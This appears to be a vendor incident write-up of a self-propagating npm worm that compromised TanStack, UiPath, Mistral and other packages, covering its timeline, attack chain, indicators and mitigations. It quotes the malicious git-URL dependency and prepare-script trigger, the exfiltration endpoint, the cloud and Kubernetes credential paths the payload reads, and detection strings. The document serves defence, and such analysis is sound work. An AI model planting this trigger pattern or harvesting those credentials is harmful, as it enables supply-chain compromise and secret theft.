Mini Shai-Hulud npm Worm: TanStack, UiPath, Mistral AI and 169 Packages Compromised (May 2026)
npm worm hit 373 versions across 169 packages (@tanstack, @squawk, @uipath, mistralai) via trusted-publishing OIDC abuse and a prepare-script git dep that exfiltrates cloud and registry secrets at install.
Summary
On May 12, 2026, Aikido Security disclosed a self-propagating npm worm — termed "Mini Shai-Hulud" after an earlier April 2026 SAP-themed wave — that compromised 373 versions across 169 packages. Major clusters include @tanstack/* (83 versions), @squawk/* (87), @uipath/* (66), @tallyui/* (30), mistralai / mistralai-gcp / mistralai-azure, and 39 unscoped packages such as safe-action, ts-dna, cross-stitch, cmux-agent-mcp, and nextmove-mcp.
Unlike conventional install-script malware, the worm publishes packages that look entirely clean on inspection — no preinstall/install/postinstall hooks, no malicious code in the published tarball. Instead, it injects a git-URL optionalDependencies entry that npm installs by cloning the referenced commit and running its prepare script. The cloned repo executes tanstack_runner.js, which harvests GitHub tokens (PATs, App tokens, Actions OIDC), npm publish tokens, AWS instance and ECS credentials, Kubernetes service account material, HashiCorp Vault tokens, and broad environment-variable secrets, then exfiltrates everything to filev2.getsession.org. The payload uses the stolen npm credentials to find more packages the victim can publish, inject the same malicious dependency, bump versions, and propagate — the worm shape that gives this campaign its name.
Timeline
- 2026-04-XX — Precursor "Mini Shai-Hulud" cluster targeting SAP-themed npm packages observed by Aikido. Same payload family, smaller blast surface.
- 2026-05-07 02:38 UTC — Earliest compromised version captured in npm RSS:
@squawk/mcp@0.9.0(publisherneilcochran). - 2026-05-07 01:14 → 17:43 UTC —
@uipath/apollo-reactand@uipath/apollo-windversions published from publishercristiancalinaandvnaren23. - 2026-05-08 03:59 → 04:42 UTC —
@tanstack/redactversions0.0.8→0.0.10(publishertannerlinsley). - 2026-05-08 14:28 UTC — First mass batch of
@tanstack/form-*1.29.2 across 13 packages (form-core,react-form,vue-form,svelte-form,solid-form,lit-form,angular-form,react-form-nextjs,react-form-remix,react-form-start,react-form-devtools,form-devtools,solid-form-devtools), published in the same minute byGitHub Actions. Two more batches at 16:04 (1.29.3) and 17:36 / 19:39 / 20:53 the same day. - 2026-05-09 15:26 UTC —
@tanstack/form-*1.30.0 batch.@tanstack/lit-store@0.0.1and0.13.2published. - 2026-05-10 22:35 UTC —
@tanstack/form-*1.32.0 batch. - 2026-05-11 — Latest observed publishes in the compromised cluster.
- 2026-05-12 — Aikido publishes the writeup. Packages remain available on the npm registry at the time of writing. npm Trust & Safety, GitHub Security Lab, and affected maintainers are aware.
Attack Vector
Conventional npm install-script malware hooks preinstall, install, or postinstall. Static scanners and most heuristic detectors trigger on the presence of those fields in package.json. The Mini Shai-Hulud worm engineers its way around that detector entirely:
-
The published tarball contains no install scripts. The victim package's
package.jsonhas empty or unchangedscripts. Anything scanning published-tarball metadata sees a "boring" release. -
The compromised tarball does ship an obfuscated payload file —
router_init.js(SHA-256ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c) — but by itself it does nothing: npm doesn't execute arbitrary files during install. -
The trigger is added as a git-URL dependency under
optionalDependencies:"optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" }When npm resolves the dependency, it clones the referenced commit and runs
npm installinside the cloned repo. -
The cloned git repo defines a
preparescript.prepareruns unconditionally on git-URL dependency installs. The script isbun run tanstack_runner.js && exit 1. -
tanstack_runner.jsis the real payload (SHA-2562ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96). Hosting it in the git repo, not the tarball, keeps it invisible to anything that only scans the npm artifact. -
The trailing
&& exit 1intentionally fails the install so operators retry or investigate — by which point the payload has already exfiltrated secrets and started worm propagation.
The entry vector — how the attacker got publish rights — is trusted publishing abuse. Modern npm allows GitHub Actions workflows with id-token: write to exchange an OIDC token for a short-lived npm publish token, bypassing 2FA. Compromising or replaying a single OIDC token from any workflow with publish access mints a fresh npm token usable across whatever the workflow can publish. The cluster of @tanstack/form-* releases on May 8–10, all from publisher GitHub Actions in tight time windows, are consistent with that path: the legitimate maintainer accounts (tannerlinsley, kevinvandy, lachlancollins) are not implicated.
Tokens & Credentials Exposed
The tanstack_runner.js payload targets, based on observed network endpoints and environment-variable enumeration:
- GitHub credentials — PATs from environment, GitHub App tokens, and GitHub Actions OIDC tokens obtained via
$ACTIONS_ID_TOKEN_REQUEST_URL/$ACTIONS_ID_TOKEN_REQUEST_TOKEN. - npm tokens —
$NPM_TOKEN,.npmrccontents, and freshly-minted trusted-publishing tokens viahttps://registry.npmjs.org/-/npm/v1/tokens. - AWS credentials — IAM access keys and session tokens from environment, plus EC2 instance metadata at
http://169.254.169.254/latest/meta-data/iam/security-credentials/and ECS container credentials athttp://169.254.170.2. - Kubernetes — service account token and CA bundle at
/var/run/secrets/kubernetes.io/serviceaccount/. - HashiCorp Vault —
VAULT_TOKEN/VAULT_ADDRfrom environment, plus discovery of in-cluster Vault atvault.svc.cluster.local:8200. - Filesystem and environment secrets — broad sweep for names matching common secret-naming patterns across the host's environment.
Exfiltration is HTTP POST to http://filev2.getsession.org/file/. Session is an encrypted-messenger network whose file servers do not log uploads — once posted, the data is unrecoverable by defenders and unattributable to any operator.
Indicators of Compromise
File hashes:
router_init.js—ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266ctanstack_runner.js—2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96router_runtime.js(companion file; hash not yet published)
Network endpoints:
hxxp://filev2[.]getsession[.]org/file/— exfiltrationhxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/— AWS IMDShxxp://169[.]254[.]170[.]2— AWS ECS task metadatahxxps://registry[.]npmjs[.]org/-/npm/v1/tokens— npm token mint (legitimate endpoint abused)vault[.]svc[.]cluster[.]local:8200— in-cluster Vault
Campaign strings: "A Mini Shai-Hulud has Appeared", Dune-themed repository / branch names.
Package cluster (snapshot — 169 packages, 373 versions, per Aikido):
@tanstack/*— 83 versions across form, router, store, devtools, start, virtual-file-routes, solid-router, vue-router, etc.@squawk/*— 87 versions (types, mcp, weather, airspace, airports, navaids, NOTAMs, airways, …)@uipath/*— 66 versions (apollo-react, apollo-wind, coded-apps-dev, …)@tallyui/*— 30 versionsmistralai,mistralai-gcp,mistralai-azure— 9 versions total- Unscoped — 39 versions including
safe-action,ts-dna,cross-stitch,cmux-agent-mcp,agentwork-cli,git-branch-selector,wot-api,git-git-git,nextmove-mcp,ml-toolkit-ts.
Confirmed Impact
- 373 package versions across 169 packages confirmed malicious by Aikido as of May 12, 2026.
- Active worm propagation: any developer or CI runner that installs a compromised version, and holds publish credentials for any other npm package reachable via stolen tokens, becomes a re-publishing host. The 373/169 numbers are a snapshot of one snapshot, not a ceiling.
- Reach into production-scale dependencies:
@tanstack/react-form(≈1.95M weekly downloads in this DB),@tanstack/form-core(≈2.11M),@tanstack/react-form-devtools(≈130k), and@tanstack/form-devtools(≈128k). Any CI pipeline or developer machine that rannpm installagainst these between May 7 and May 11, 2026, must be treated as having executedtanstack_runner.jsuntil proven otherwise.
What is not yet publicly enumerated:
- Exact count of downstream organizations whose secrets reached
filev2.getsession.org. - Second-wave packages that were re-published using credentials harvested in this campaign. By the worm's design, those packages would themselves look like legitimate trusted-publishing releases.
Mitigation & Lessons
- Pin and review every dependency upgrade. Avoid
npm install <name>@latestin production code paths. Usepackage-lock.jsonwith diff review. - Block
--ignore-scripts-bypassing git-URL dependencies in CI. A line likeoptionalDependencies: { "@vendor/setup": "github:..." }is rare in legitimate ecosystems and is the entire payload trigger here. CI policy:
plus a registry-only resolver setting (npm install --ignore-scripts@tanstack:registry=https://registry.npmjs.org/, nogithub:/git+resolvers). - Rotate every npm publish token in scope for any developer or CI runner that touched any of the 169 affected packages between May 7 and May 11, 2026.
- Scope trusted-publishing workflows tightly. Any GitHub Actions workflow with
id-token: writeandnpm publishpermission is, in the post–Mini Shai-Hulud world, equivalent to a long-lived publish credential — except invisible to inventory. Usepermissions:blocks scoped to the minimum publishable packages, and prefer per-job OIDC over per-workflow. - Block egress to
*.getsession.orgat corporate proxies and CI egress controls. Legitimate code does not POST to Session file servers. - Require AWS IMDSv2 with
HttpPutResponseHopLimit=1. This forces credential-stealing payloads to be on the host itself, not in a container behind a hop. - Audit Vault auth methods. Replace any long-lived
VAULT_TOKEN-in-env pattern with workload-bound JWT/OIDC auth that ties to the runner identity. - Inspect dependency diffs between consecutive releases of the same package. The injection moment is the version that adds a git-URL entry to
dependencies/optionalDependencies— every prior version of the same package was clean.
Cremit Analysis
NHI Severity Index: 9.5 (Critical)
| Dimension | Value | Rationale |
|---|---|---|
| Blast radius | ecosystem-wide | 169 packages across multiple maintainer orgs, with worm self-propagation. Any victim with reusable publish credentials becomes a propagator. Surface expands daily until the trusted-publishing path is throttled and clean publishes resume. |
| Reachability | production | The payload triggers at npm install — the same code path every CI runner and developer machine uses. There is no staging-only exposure; the install always runs the prepare script. |
| Privilege level | variable | The harvested credential set spans npm publish tokens (top-tier within the registry trust model), GitHub Actions OIDC (capable of provisioning further AWS/GCP via federation), AWS instance metadata (full host IAM), Kubernetes service account material, and Vault. Whatever the host has, the attacker now has. |
NHI Kill Chain Mapping
- Ghost Key — npm tokens harvested from CI runners are the canonical ghost-key target: long-lived, broadly-scoped, invisible to inventory. The worm uses them to publish from a host the legitimate owner controls but cannot see.
- Drifted Key — GitHub Actions OIDC tokens were designed as the answer to drifted-key risk. The worm demonstrates how OIDC trust still drifts: an OIDC token leaked from a single workflow run can be replayed within its TTL window to mint fresh long-lived publish tokens, breaking the very assumption short-lived auth was supposed to enforce.
- Unattributed Key —
filev2.getsession.orgis the textbook unattributed-key escape: encrypted drop, no operator, no audit trail. Every credential sent there is permanently outside defender control.
Why static npm-package scanning missed this
The worm is engineered specifically to defeat the standard detector stack:
- The compromised tarball has no
preinstall/install/postinstallfield set. Heuristics that match on those fields see an empty list and clear the package. - The malicious executable code is not in the npm tarball at all — it lives in a git URL pinned by commit hash, only fetched at install time. Static analysis of the published artifact never sees
tanstack_runner.js. - The trigger script is
prepare, which legitimate packages widely use for build steps. Flaggingpreparealone produces unacceptable false-positive rates against the broader ecosystem. - The publisher field is
GitHub Actions— a trusted-publishing identity. Publisher-reputation, account-age, and owner-change heuristics are inert against it because the credential was stolen from the legitimate workflow, not from the maintainer's account.
Signals that do survive
These are the per-event signals we believe are practical and worth tracking on every npm publish going forward:
optionalDependenciesordependenciesentries withgithub:/git+/http(s)://URL specs, especially pinned to a specific commit hash. Legitimate packages overwhelmingly resolve from the npm registry via semver. A git-URL spec is rare enough at the population level to merit per-event inspection.- First-time appearance of a git-URL dependency in a package that previously used only registry deps. Diffing the dependency graph version-over-version surfaces the injection moment cleanly: prior versions of the same package are clean controls.
- Burst publishing across a monorepo by a trusted-publishing workflow that introduces a new dependency. TanStack legitimately ships ~13 packages at once on a release — but at a known cadence and with previous-publish diffs limited to expected source files. A release that also adds
optionalDependenciesis anomalous on its face. - Network-egress signatures from the published tarball pointing to non-vendor destinations. Even when the install-time payload lives in a git URL, the
router_init.jscompanion left in the tarball contains the loader logic. Static-string matching forgetsession.org,169.254.169.254,vault.svc.cluster.local, andregistry.npmjs.org/-/npm/v1/tokensflags the tarball even when the actualpreparescript is hidden.
These signals are being added to the Cremit live-monitor pipeline as a direct response to this incident. The April→May 2026 Mini Shai-Hulud waves are unlikely to be the last; trusted-publishing abuse is now an established class of npm supply-chain attack, and the worm-shape — stealing publish credentials to propagate via more publishes — is what makes it self-reinforcing.
참고 자료
- [1]Mini Shai-Hulud is back: TanStack compromised — Aikido Securityprimary·2026-05-12·aikido.dev
- [2]@tanstack/react-form on npmprimary·npmjs.com
- [3]@squawk/mcp on npmprimary·npmjs.com
- [4]@uipath/apollo-react on npmprimary·npmjs.com
- [5]mistralai on npmprimary·npmjs.com
